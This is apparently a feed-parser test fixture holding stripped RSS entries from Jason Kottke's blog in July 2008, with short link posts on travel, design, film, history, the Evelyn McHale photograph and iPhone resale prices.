    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16096.html http://www.kottke.org/remainder/08/07/16096.html Mon, 21 Jul 2008 22:39:40 -0500 jason@kottke.org     The pogo stick in named after a Burmese farm girl? As The pogo stick in named after a Burmese farm girl?

    As legend has it, an American traveler named George Hansburg was making his way through Burma when he made the acquaintance of a poor farmer. The farmer's daughter was named Pogo, and Pogo -- devout little girl that she was -- wanted to go to temple every day to pray, but couldn't because she had no shoes to wear for the long walk through the mud and rocks. So the poor farmer built a jumping stick for her, and Pogo's daily temple bounce-trips through the mud and over the rocks ensued. When the impressed traveler returned home, he made a jumping stick of his own, attaching a spring to the wooden stick contraption that the farmer had introduced him to.
    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16090.html http://www.kottke.org/remainder/08/07/16090.html Mon, 21 Jul 2008 18:55:07 -0500 jason@kottke.org     The Disadvantages of an Elite Education, nutshelled: you have no idea The Disadvantages of an Elite Education, nutshelled: you have no idea how most of the rest of the world works.

    The first disadvantage of an elite education, as I learned in my kitchen that day, is that it makes you incapable of talking to people who aren't like you. Elite schools pride themselves on their diversity, but that diversity is almost entirely a matter of ethnicity and race. With respect to class, these schools are largely-indeed increasingly-homogeneous. Visit any elite campus in our great nation and you can thrill to the heartwarming spectacle of the children of white businesspeople and professionals studying and playing alongside the children of black, Asian, and Latino businesspeople and professionals. At the same time, because these schools tend to cultivate liberal attitudes, they leave their students in the paradoxical position of wanting to advocate on behalf of the working class while being unable to hold a simple conversation with anyone in it.

    (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16094.html http://www.kottke.org/remainder/08/07/16094.html Mon, 21 Jul 2008 17:49:02 -0500 jason@kottke.org     ● Lego Stephen Hawking Lego Stephen Hawking

    More at Brickshelf.

    ]]>     http://www.kottke.org/08/07/lego-stephen-hawking http://www.kottke.org/08/07/lego-stephen-hawking Mon, 21 Jul 2008 15:55:37 -0500 jason@kottke.org     Lovely visual essay of how a residential driveway became a nice Lovely visual essay of how a residential driveway became a nice green area, even after the city objected.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16092.html http://www.kottke.org/remainder/08/07/16092.html Mon, 21 Jul 2008 14:55:24 -0500 jason@kottke.org     Working in the BBC's Radiophonic Workshop, Delia Derbyshire penned the Doctor Working in the BBC's Radiophonic Workshop, Delia Derbyshire penned the Doctor Who theme song in 1963 but also came up with a piece of electronica in the late 60s that sounds like it was recorded in the mid-90s.

    Ms Derbyshire was well-known for favouring the use of a green metal lampshade as a musical instrument and said she took some of her inspiration from the sound of air raid sirens, which she heard growing up in Coventry in the Second World War.

    (via overstated)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16091.html http://www.kottke.org/remainder/08/07/16091.html Mon, 21 Jul 2008 13:38:22 -0500 jason@kottke.org     Twitter is broken for me so I'm going to be using Twitter is broken for me so I'm going to be using this text file until it starts working again. If any friends want their updates included in my text file, please send me an email.

    Update: The Jason's Update Page social internet web site now has an API. Full documentation here.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16095.html http://www.kottke.org/remainder/08/07/16095.html Mon, 21 Jul 2008 12:20:11 -0500 jason@kottke.org     Most of the town of Baarle-Hertog is in Belgium but some Most of the town of Baarle-Hertog is in Belgium but some spots are in the Netherlands, sprinkled into the Belgian majority like chocolate chips, not divided neatly by a line.

    The border is so complicated that there are some houses that are divided between the two countries. There was a time when according to Dutch laws restaurants had to close earlier. For some restaurants on the border it meant that the clients simply had to change their tables to the Belgian side.
    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16089.html http://www.kottke.org/remainder/08/07/16089.html Mon, 21 Jul 2008 11:51:10 -0500 jason@kottke.org     For millennia, Martin Wattenberg's Name Voyager has been the gold standard For millennia, Martin Wattenberg's Name Voyager has been the gold standard in cool baby name web doohickeys. No longer...NameTrends gives it a serious run for its money. Lots of slicing and dicing of data going on there. Plus, popularity sparklines.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16088.html http://www.kottke.org/remainder/08/07/16088.html Mon, 21 Jul 2008 11:14:29 -0500 jason@kottke.org     NY Times columnist David Carr has written a book about his NY Times columnist David Carr has written a book about his days as a junkie who cleaned himself up only when twin daughters came into his life. The Times has a lengthy excerpt; it's possibly the best thing I've read all week.

    If I said I was a fat thug who beat up women and sold bad coke, would you like my story? What if instead I wrote that I was a recovered addict who obtained sole custody of my twin girls, got us off welfare and raised them by myself, even though I had a little touch of cancer? Now we're talking. Both are equally true, but as a member of a self-interpreting species, one that fights to keep disharmony at a remove, I'm inclined to mention my tenderhearted attentions as a single parent before I get around to the fact that I hit their mother when we were together. We tell ourselves that we lie to protect others, but the self usually comes out looking damn good in the process.

    Carr's book is not the conventional memoir. Instead of relying on his spotty memory from his time as a junkie, he went out and interviewed his family, friends, enemies, and others who knew him at the time to get a more complete picture.

    A former colleague interviewed Carr two years ago in Rake Magazine. (via vsl)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16087.html http://www.kottke.org/remainder/08/07/16087.html Fri, 18 Jul 2008 18:57:25 -0500 jason@kottke.org     The logo for A.G. Low Construction is the best one I've The logo for A.G. Low Construction is the best one I've seen in awhile.

    A.G. Low Logo

    Nice work by design student Rebecca Low, who I'm assuming is related to the A.G. Low in question. (via monoscope)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16086.html http://www.kottke.org/remainder/08/07/16086.html Fri, 18 Jul 2008 17:35:39 -0500 jason@kottke.org     A list of fourteen passive-aggressive appetizers for your next dinner party. A list of fourteen passive-aggressive appetizers for your next dinner party.

    Another one for the vegetarians. If they think they like tofu, wait until they sample your delicious mock tofu -- all you need is chicken fat, puréed pork loin, and five cups of piping-hot tallow. Cheryl will never know the difference.

    (via snarkmarket)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16085.html http://www.kottke.org/remainder/08/07/16085.html Fri, 18 Jul 2008 16:28:00 -0500 jason@kottke.org     I dunno, ketchup-flavored potato chips? I dunno, ketchup-flavored potato chips?

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16080.html http://www.kottke.org/remainder/08/07/16080.html Fri, 18 Jul 2008 15:03:59 -0500 jason@kottke.org     Ben Fry analyzes the data from an intelligence test administered to Ben Fry analyzes the data from an intelligence test administered to all incoming NFL players and displays the results by position. Offensive players do better than defensive players on the test, although running backs score the lowest (wide receivers and cornerbacks also don't do well). As Michael Lewis suggested in The Blind Side, offensive tackles are the smartest players on the field, followed by the centers and then the quarterbacks.

    Malcolm Gladwell talked about the Wonderlic test at the New Yorker Conference and judged it a poor indicator of future performance.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16084.html http://www.kottke.org/remainder/08/07/16084.html Fri, 18 Jul 2008 14:12:38 -0500 jason@kottke.org     ● Old iPhone price check on eBay Before the iPhone 3G came out last month, I wrote about how valuable the old iPhone still was.

    A quick search reveals that used & unlocked 8Gb iPhones are going for ~$400 and 16Gb for upwards of $500, with never-opened phones going for even more.

    I just checked eBay again and those prices are down only slightly. Never-opened unlocked iPhones are still fetching $400-500 and somewhat less for previously used phones. If you've purchased an iPhone 3G in the past few days, you still have an excellent shot at getting most of your money back from your first phone (provided you can get it unlocked, which isn't difficult).

    I also checked the prices for unlocked iPhone 3Gs...prices are upwards of $1400 for the 16GB model. The unlocked claim is somewhat dubious. AFAIK, there hasn't been a crack released yet although it's been reported that the 3Gs are being sold unlocked in Italy and Hong Kong.

    Update: The 3G has been cracked.

    ]]>     http://www.kottke.org/08/07/old-iphone-price-check-on-ebay http://www.kottke.org/08/07/old-iphone-price-check-on-ebay Fri, 18 Jul 2008 12:42:23 -0500 jason@kottke.org     After publishing his first book, Mark Hurst offers some tips for After publishing his first book, Mark Hurst offers some tips for would-be authors, painting a not-so-rosy picture of the publishing industry in the process.

    You may see now the author's dilemma. Publishers and bookstores are in it for the money. But you, the author, can't be in it for the money - it doesn't pay enough. You should write a book because you believe in it. And that's the trouble: what you love isn't necessarily what publishers believe will sell. If you can find a topic that you love and that will sell in the market, well then, go forth and type. You're one of the lucky ones.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16082.html http://www.kottke.org/remainder/08/07/16082.html Fri, 18 Jul 2008 11:52:15 -0500 jason@kottke.org     Spike Jonze's Where the Wild Things Are might be in trouble. Spike Jonze's Where the Wild Things Are might be in trouble. It was originally due out in October, got pushed back to fall 2009, and has now been taken off of the Warner Bros. release schedule. But not all is lost...here's what Warner had to say about it:

    We've given him more money and, even more importantly, more time for him to work on the film," Horn said. "We'd like to find a common ground that represents Spike's vision but still offers a film that really delivers for a broad-based audience. We obviously still have a challenge on our hands. But I wouldn't call it a problem, simply a challenge. No one wants to turn this into a bland, sanitized studio movie. This is a very special piece of material and we're just trying to get it right.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16081.html http://www.kottke.org/remainder/08/07/16081.html Fri, 18 Jul 2008 10:49:07 -0500 jason@kottke.org     A philosophical zombie is "a hypothetical being that is indistinguishable from A philosophical zombie is "a hypothetical being that is indistinguishable from a normal human being except that it lacks conscious experience, qualia, sentience, or sapience". Is this what White Zombie was on about in More Human Than Human? (via me, apparently)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16079.html http://www.kottke.org/remainder/08/07/16079.html Fri, 18 Jul 2008 10:03:07 -0500 jason@kottke.org     From what I can gather from these portraits, librarians are white, From what I can gather from these portraits, librarians are white, bearded if male, and have glasses.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16078.html http://www.kottke.org/remainder/08/07/16078.html Fri, 18 Jul 2008 08:42:27 -0500 jason@kottke.org     The world's most funnest iPhone game productivity app is Hold-On. To The world's most funnest iPhone game productivity app is Hold-On. To play, hold the button on the screen as long as you can. (via andre)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16077.html http://www.kottke.org/remainder/08/07/16077.html Thu, 17 Jul 2008 18:41:45 -0500 jason@kottke.org     A list of the fictional films referred to in Seinfeld. (thx, A list of the fictional films referred to in Seinfeld. (thx, nicholas)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16074.html http://www.kottke.org/remainder/08/07/16074.html Thu, 17 Jul 2008 17:40:43 -0500 jason@kottke.org     The money brought in due to Beatlemania funded the research that The money brought in due to Beatlemania funded the research that led to the CAT scanning machine. (via gawker lite)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16076.html http://www.kottke.org/remainder/08/07/16076.html Thu, 17 Jul 2008 16:15:43 -0500 jason@kottke.org     Caroline Kininmonth runs a restaurant in Australia that doesn't serve food. Caroline Kininmonth runs a restaurant in Australia that doesn't serve food. The place is BYOF and donations are accepted in a box next to the front door. (thx, john)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16075.html http://www.kottke.org/remainder/08/07/16075.html Thu, 17 Jul 2008 14:55:03 -0500 jason@kottke.org     Another Wikipedia gem: a list of unsolved problems from a number Another Wikipedia gem: a list of unsolved problems from a number of different fields, including linguistics, physics, and computer science. (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16073.html http://www.kottke.org/remainder/08/07/16073.html Thu, 17 Jul 2008 13:46:07 -0500 jason@kottke.org     Make new stuff look old with the Making Memories Distressing Kit. Make new stuff look old with the Making Memories Distressing Kit.

    Designed to use on everything from paper to embellishments this distressing kit is the first and only of its kind. Kit includes: sanding block with three grits steel wool-2 pads emery board-3 boards each with different grit stipple brush foam brushes 1 and 2 wide chalk-3 colors ink sponges-3 colors exclusive edge scraper bone folder aging dye-2 single use pouches paint comb pounce wheel chalk brushes-3 sandpaper-3 sheets (1 each of fine medium and coarse grit). It's compact portable and stocked to the hilt with all the tools you'll need to sand scrape stipple and sponge your way to shabby chicness.

    Jessica Helfand has some thoughts on making the new look old.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16072.html http://www.kottke.org/remainder/08/07/16072.html Thu, 17 Jul 2008 12:36:12 -0500 jason@kottke.org     Steven Heller asked a bunch of designers and illustrators to re-imagine Steven Heller asked a bunch of designers and illustrators to re-imagine the lapel pin for Barack Obama.

    Since Mr. Obama promotes himself as the candidate of change, maybe he should start wearing a different kind of lapel pin that signals his patriotism as well as other values he wants to communicate.

    One fellow suggests ripping his lapels off and thereby skirting the whole pin issue. (via design observer)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16071.html http://www.kottke.org/remainder/08/07/16071.html Thu, 17 Jul 2008 11:44:57 -0500 jason@kottke.org     They're making a fourth Terminator movie with Christian Bale? Although I They're making a fourth Terminator movie with Christian Bale? Although I didn't actually mind the third one so bring it on, I guess. (via goldenfiddle)

    Update: McG is directing? I take it back...put it back in the can. Also, Joseph, isn't it time to stop using that name?

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16070.html http://www.kottke.org/remainder/08/07/16070.html Thu, 17 Jul 2008 11:04:15 -0500 jason@kottke.org     Since repeatedly spelling out proper names in sign language is time Since repeatedly spelling out proper names in sign language is time consuming, signers give people "sign names" that are faster to do.

    When a sign name is given to you, it's special. A bit like losing your deaf virginity. It's thought up after an intense period of observation, when people have worked out firstly whether they like you enough to give you one (a sign name, that is), and they've taken all your habits and mannerisms into account to find a name that best sums you up.

    (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16069.html http://www.kottke.org/remainder/08/07/16069.html Wed, 16 Jul 2008 18:32:41 -0500 jason@kottke.org     The NYC subway system's unlimited-ride MetroCard turned ten years old this The NYC subway system's unlimited-ride MetroCard turned ten years old this month.

    "I think it's absolutely changed travel habits in the New York region, and it's been a boon for the economy as well," said Andrew Albert, who represents transit riders on the board of the Metropolitan Transportation Authority. "Where once you might have used it more sparingly because you had a finite number of trips, you're more likely to take a trip during your lunch break, go shopping perhaps or go to dinner somewhere," he said.

    On average, unlimited-ride MetroCard users take 56 trips per month (~$1.45 per trip), although some take many more or less. (via buzzfeed)

    Update: Mike Frumin notes that the Times excluded from their graph an important piece of information: the break-even point of the 30-day MetroCard. I used to get a monthly card but now pay by the ride because I don't take the subway everyday anymore and would therefore find myself in Frumin's "losing $$$$$" zone.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16068.html http://www.kottke.org/remainder/08/07/16068.html Wed, 16 Jul 2008 17:06:29 -0500 jason@kottke.org     That string of typographic symbols that substitute for swearing in cartoons? That string of typographic symbols that substitute for swearing in cartoons? It's called a grawlix.

    The term is grawlix, and it looks to have been coined by Beetle Bailey cartoonist Mort Walker around 1964. Though it's yet to gain admission to the Oxford English Dictionary, OED Editor-at-Large Jesse Sheidlower describes it as "undeniably useful, certainly a word, and one that I'd love to see used more."

    Well, @#$%&?!, that's cool.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16067.html http://www.kottke.org/remainder/08/07/16067.html Wed, 16 Jul 2008 15:54:53 -0500 jason@kottke.org     ● The most beautiful suicide On May 1, 1947, Evelyn McHale leapt to her death from the observation deck of the Empire State Building. Photographer Robert Wiles took a photo of McHale a few minutes after her death.

    Evelyn Mchale by Robert Wiles

    The photo ran a couple of weeks later in Life magazine accompanied by the following caption:

    On May Day, just after leaving her fiancé, 23-year-old Evelyn McHale wrote a note. 'He is much better off without me ... I wouldn't make a good wife for anybody,' ... Then she crossed it out. She went to the observation platform of the Empire State Building. Through the mist she gazed at the street, 86 floors below. Then she jumped. In her desperate determination she leaped clear of the setbacks and hit a United Nations limousine parked at the curb. Across the street photography student Robert Wiles heard an explosive crash. Just four minutes after Evelyn McHale's death Wiles got this picture of death's violence and its composure.

    From McHale's NY Times obituary, Empire State Ends Life of Girl, 20:

    At 10:40 A. M., Patrolman John Morrissey of Traffic C, directing traffic at Thirty-fourth Street and Fifth Avenue, noticed a swirling white scarf floating down from the upper floors of the Empire State. A moment later he heard a crash that sounded like an explosion. He saw a crowd converge in Thirty-third Street.

    Two hundred feet west of Fifth Avenue, Miss McHale's body landed atop the car. The impact stove in the metal roof and shattered the car's windows. The driver was in a near-by drug store, thereby escaping death or serious injury.

    On the observation deck, Detective Frank Murray of the West Thirtieth Street station, found Miss McHale's gray cloth coat, her pocketbook with several dollars and the note, and a make-up kit filled with family pictures.

    The serenity of McHale's body amidst the crumpled wreckage it caused is astounding. Years later, Andy Warhol appropriated Wiles' photography for a print called Suicide (Fallen Body), but I can't find a copy of it anywhere online. Anyone?

    Update: A not-so-great representation of Warhol's version of this photograph is available at Google Books. (thx, ruben)

    Update: Here's a better photo of Warhol's print. (thx, lots of people)

    ]]>     http://www.kottke.org/08/07/the-most-beautiful-suicide http://www.kottke.org/08/07/the-most-beautiful-suicide Wed, 16 Jul 2008 14:49:21 -0500 jason@kottke.org     A cross-country Amtrak travelogue. The trip is not without its charms A cross-country Amtrak travelogue. The trip is not without its charms but overall sounds like torture.

    A raspy-voiced woman in her 40s, one of the engineers, calls down from the cab and invites a few of us to come take a look. Without hesitation we clamber up. She tells us that they're off duty, as her partner, a mustachioed, red-faced man with faded tattoos, nods. When engineers hit their driving quota, apparently, they're done. It's an unbendable rule. "They knew, though," the woman says, speaking of Amtrak. "They should have had someone here." So this could've been prevented? "Oh yeah," the man says, "but leave it to them and they'll fuck it up." And so we wait, in the middle of nowhere, for new engineers. After a couple of hours a truck pulls up with the new drivers.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16065.html http://www.kottke.org/remainder/08/07/16065.html Wed, 16 Jul 2008 13:45:31 -0500 jason@kottke.org     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.kottke.org-remainder-index.rdf0000664000175000017500000011504212653701626027452 0ustar janjan kottke.org http://www.kottke.org/ Jason Kottke's weblog, home of fine hypertext products en-us jason@kottke.org (Jason Kottke) http://creativecommons.org/licenses/by-sa/1.0 Tue, 22 Jul 2008 11:55:22 EDT http://www.movabletype.org/?v=3.2 jason@kottke.org (Jason Kottke) 30 The PopTech blog rounds up some interesting wind turbine designs. I'm The PopTech blog rounds up some interesting wind turbine designs. I'm particularly intrigued by the placement of turbines on or near highways. One of the knocks against wind farms is that they disrupt the natural landscape...placing wind turbines along highways would somewhat alleviate that problem. Oobject houses a collection of beautiful wind turbines.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16099.html http://www.kottke.org/remainder/08/07/16099.html Tue, 22 Jul 2008 11:29:49 -0500 jason@kottke.org     Booking passage on a cargo ship is an easy and unusual Booking passage on a cargo ship is an easy and unusual way to travel.

    Most of the major global shipping lines CMA-CGM, Canada Maritime, and Bank Line offer paying passengers to hop on one of their lines. As a paying passenger you are accommodated in guest cabins and have access to most areas of the ship.

    Captains and crew spend a lot of time on the water, and they are usually happy to have a fresh face walking around their workplace, meaning that they may even invite you to eat with them, give you tours of the ship and maybe even have you over for an Officer's happy hour.

    You'd think it would be cheap but tickets can run you more than airfare...$80-140 per day, meals & lodging included.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16098.html http://www.kottke.org/remainder/08/07/16098.html Tue, 22 Jul 2008 10:20:29 -0500 jason@kottke.org     Photos of Mike Tyson's abandoned mansion. What an odd house. Half Photos of Mike Tyson's abandoned mansion. What an odd house. Half of it is bathrooms & an indoor pool and looks like it was designed by Homer Simpson.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16097.html http://www.kottke.org/remainder/08/07/16097.html Tue, 22 Jul 2008 09:10:31 -0500 jason@kottke.org     See if this makes any sense out of context: hay hotels See if this makes any sense out of context: hay hotels in the Lederhosen belt.

    The hay is from the second harvest rather than the first -- it's softer -- and it gets changed once or twice a year. Meanwhile there's strictly no smoking and there isn't a hospital corner in sight: making the bed means fluffing up the hay with a pitchfork.

    Read on if you're still confused.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16096.html http://www.kottke.org/remainder/08/07/16096.html Mon, 21 Jul 2008 22:39:40 -0500 jason@kottke.org     The pogo stick in named after a Burmese farm girl? As The pogo stick in named after a Burmese farm girl?

    As legend has it, an American traveler named George Hansburg was making his way through Burma when he made the acquaintance of a poor farmer. The farmer's daughter was named Pogo, and Pogo -- devout little girl that she was -- wanted to go to temple every day to pray, but couldn't because she had no shoes to wear for the long walk through the mud and rocks. So the poor farmer built a jumping stick for her, and Pogo's daily temple bounce-trips through the mud and over the rocks ensued. When the impressed traveler returned home, he made a jumping stick of his own, attaching a spring to the wooden stick contraption that the farmer had introduced him to.
    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16090.html http://www.kottke.org/remainder/08/07/16090.html Mon, 21 Jul 2008 18:55:07 -0500 jason@kottke.org     The Disadvantages of an Elite Education, nutshelled: you have no idea The Disadvantages of an Elite Education, nutshelled: you have no idea how most of the rest of the world works.

    The first disadvantage of an elite education, as I learned in my kitchen that day, is that it makes you incapable of talking to people who aren't like you. Elite schools pride themselves on their diversity, but that diversity is almost entirely a matter of ethnicity and race. With respect to class, these schools are largely-indeed increasingly-homogeneous. Visit any elite campus in our great nation and you can thrill to the heartwarming spectacle of the children of white businesspeople and professionals studying and playing alongside the children of black, Asian, and Latino businesspeople and professionals. At the same time, because these schools tend to cultivate liberal attitudes, they leave their students in the paradoxical position of wanting to advocate on behalf of the working class while being unable to hold a simple conversation with anyone in it.

    (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16094.html http://www.kottke.org/remainder/08/07/16094.html Mon, 21 Jul 2008 17:49:02 -0500 jason@kottke.org     ● Lego Stephen Hawking Lego Stephen Hawking

    More at Brickshelf.

    ]]>     http://www.kottke.org/08/07/lego-stephen-hawking http://www.kottke.org/08/07/lego-stephen-hawking Mon, 21 Jul 2008 15:55:37 -0500 jason@kottke.org     Lovely visual essay of how a residential driveway became a nice Lovely visual essay of how a residential driveway became a nice green area, even after the city objected.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16092.html http://www.kottke.org/remainder/08/07/16092.html Mon, 21 Jul 2008 14:55:24 -0500 jason@kottke.org     Working in the BBC's Radiophonic Workshop, Delia Derbyshire penned the Doctor Working in the BBC's Radiophonic Workshop, Delia Derbyshire penned the Doctor Who theme song in 1963 but also came up with a piece of electronica in the late 60s that sounds like it was recorded in the mid-90s.

    Ms Derbyshire was well-known for favouring the use of a green metal lampshade as a musical instrument and said she took some of her inspiration from the sound of air raid sirens, which she heard growing up in Coventry in the Second World War.

    (via overstated)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16091.html http://www.kottke.org/remainder/08/07/16091.html Mon, 21 Jul 2008 13:38:22 -0500 jason@kottke.org     Twitter is broken for me so I'm going to be using Twitter is broken for me so I'm going to be using this text file until it starts working again. If any friends want their updates included in my text file, please send me an email.

    Update: The Jason's Update Page social internet web site now has an API. Full documentation here.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16095.html http://www.kottke.org/remainder/08/07/16095.html Mon, 21 Jul 2008 12:20:11 -0500 jason@kottke.org     Most of the town of Baarle-Hertog is in Belgium but some Most of the town of Baarle-Hertog is in Belgium but some spots are in the Netherlands, sprinkled into the Belgian majority like chocolate chips, not divided neatly by a line.

    The border is so complicated that there are some houses that are divided between the two countries. There was a time when according to Dutch laws restaurants had to close earlier. For some restaurants on the border it meant that the clients simply had to change their tables to the Belgian side.
    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16089.html http://www.kottke.org/remainder/08/07/16089.html Mon, 21 Jul 2008 11:51:10 -0500 jason@kottke.org     For millennia, Martin Wattenberg's Name Voyager has been the gold standard For millennia, Martin Wattenberg's Name Voyager has been the gold standard in cool baby name web doohickeys. No longer...NameTrends gives it a serious run for its money. Lots of slicing and dicing of data going on there. Plus, popularity sparklines.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16088.html http://www.kottke.org/remainder/08/07/16088.html Mon, 21 Jul 2008 11:14:29 -0500 jason@kottke.org     NY Times columnist David Carr has written a book about his NY Times columnist David Carr has written a book about his days as a junkie who cleaned himself up only when twin daughters came into his life. The Times has a lengthy excerpt; it's possibly the best thing I've read all week.

    If I said I was a fat thug who beat up women and sold bad coke, would you like my story? What if instead I wrote that I was a recovered addict who obtained sole custody of my twin girls, got us off welfare and raised them by myself, even though I had a little touch of cancer? Now we're talking. Both are equally true, but as a member of a self-interpreting species, one that fights to keep disharmony at a remove, I'm inclined to mention my tenderhearted attentions as a single parent before I get around to the fact that I hit their mother when we were together. We tell ourselves that we lie to protect others, but the self usually comes out looking damn good in the process.

    Carr's book is not the conventional memoir. Instead of relying on his spotty memory from his time as a junkie, he went out and interviewed his family, friends, enemies, and others who knew him at the time to get a more complete picture.

    A former colleague interviewed Carr two years ago in Rake Magazine. (via vsl)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16087.html http://www.kottke.org/remainder/08/07/16087.html Fri, 18 Jul 2008 18:57:25 -0500 jason@kottke.org     The logo for A.G. Low Construction is the best one I've The logo for A.G. Low Construction is the best one I've seen in awhile.

    A.G. Low Logo

    Nice work by design student Rebecca Low, who I'm assuming is related to the A.G. Low in question. (via monoscope)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16086.html http://www.kottke.org/remainder/08/07/16086.html Fri, 18 Jul 2008 17:35:39 -0500 jason@kottke.org     A list of fourteen passive-aggressive appetizers for your next dinner party. A list of fourteen passive-aggressive appetizers for your next dinner party.

    Another one for the vegetarians. If they think they like tofu, wait until they sample your delicious mock tofu -- all you need is chicken fat, puréed pork loin, and five cups of piping-hot tallow. Cheryl will never know the difference.

    (via snarkmarket)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16085.html http://www.kottke.org/remainder/08/07/16085.html Fri, 18 Jul 2008 16:28:00 -0500 jason@kottke.org     I dunno, ketchup-flavored potato chips? I dunno, ketchup-flavored potato chips?

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16080.html http://www.kottke.org/remainder/08/07/16080.html Fri, 18 Jul 2008 15:03:59 -0500 jason@kottke.org     Ben Fry analyzes the data from an intelligence test administered to Ben Fry analyzes the data from an intelligence test administered to all incoming NFL players and displays the results by position. Offensive players do better than defensive players on the test, although running backs score the lowest (wide receivers and cornerbacks also don't do well). As Michael Lewis suggested in The Blind Side, offensive tackles are the smartest players on the field, followed by the centers and then the quarterbacks.

    Malcolm Gladwell talked about the Wonderlic test at the New Yorker Conference and judged it a poor indicator of future performance.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16084.html http://www.kottke.org/remainder/08/07/16084.html Fri, 18 Jul 2008 14:12:38 -0500 jason@kottke.org     ● Old iPhone price check on eBay Before the iPhone 3G came out last month, I wrote about how valuable the old iPhone still was.

    A quick search reveals that used & unlocked 8Gb iPhones are going for ~$400 and 16Gb for upwards of $500, with never-opened phones going for even more.

    I just checked eBay again and those prices are down only slightly. Never-opened unlocked iPhones are still fetching $400-500 and somewhat less for previously used phones. If you've purchased an iPhone 3G in the past few days, you still have an excellent shot at getting most of your money back from your first phone (provided you can get it unlocked, which isn't difficult).

    I also checked the prices for unlocked iPhone 3Gs...prices are upwards of $1400 for the 16GB model. The unlocked claim is somewhat dubious. AFAIK, there hasn't been a crack released yet although it's been reported that the 3Gs are being sold unlocked in Italy and Hong Kong.

    Update: The 3G has been cracked.

    ]]>     http://www.kottke.org/08/07/old-iphone-price-check-on-ebay http://www.kottke.org/08/07/old-iphone-price-check-on-ebay Fri, 18 Jul 2008 12:42:23 -0500 jason@kottke.org     After publishing his first book, Mark Hurst offers some tips for After publishing his first book, Mark Hurst offers some tips for would-be authors, painting a not-so-rosy picture of the publishing industry in the process.

    You may see now the author's dilemma. Publishers and bookstores are in it for the money. But you, the author, can't be in it for the money - it doesn't pay enough. You should write a book because you believe in it. And that's the trouble: what you love isn't necessarily what publishers believe will sell. If you can find a topic that you love and that will sell in the market, well then, go forth and type. You're one of the lucky ones.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16082.html http://www.kottke.org/remainder/08/07/16082.html Fri, 18 Jul 2008 11:52:15 -0500 jason@kottke.org     Spike Jonze's Where the Wild Things Are might be in trouble. Spike Jonze's Where the Wild Things Are might be in trouble. It was originally due out in October, got pushed back to fall 2009, and has now been taken off of the Warner Bros. release schedule. But not all is lost...here's what Warner had to say about it:

    We've given him more money and, even more importantly, more time for him to work on the film," Horn said. "We'd like to find a common ground that represents Spike's vision but still offers a film that really delivers for a broad-based audience. We obviously still have a challenge on our hands. But I wouldn't call it a problem, simply a challenge. No one wants to turn this into a bland, sanitized studio movie. This is a very special piece of material and we're just trying to get it right.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16081.html http://www.kottke.org/remainder/08/07/16081.html Fri, 18 Jul 2008 10:49:07 -0500 jason@kottke.org     A philosophical zombie is "a hypothetical being that is indistinguishable from A philosophical zombie is "a hypothetical being that is indistinguishable from a normal human being except that it lacks conscious experience, qualia, sentience, or sapience". Is this what White Zombie was on about in More Human Than Human? (via me, apparently)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16079.html http://www.kottke.org/remainder/08/07/16079.html Fri, 18 Jul 2008 10:03:07 -0500 jason@kottke.org     From what I can gather from these portraits, librarians are white, From what I can gather from these portraits, librarians are white, bearded if male, and have glasses.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16078.html http://www.kottke.org/remainder/08/07/16078.html Fri, 18 Jul 2008 08:42:27 -0500 jason@kottke.org     The world's most funnest iPhone game productivity app is Hold-On. To The world's most funnest iPhone game productivity app is Hold-On. To play, hold the button on the screen as long as you can. (via andre)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16077.html http://www.kottke.org/remainder/08/07/16077.html Thu, 17 Jul 2008 18:41:45 -0500 jason@kottke.org     A list of the fictional films referred to in Seinfeld. (thx, A list of the fictional films referred to in Seinfeld. (thx, nicholas)

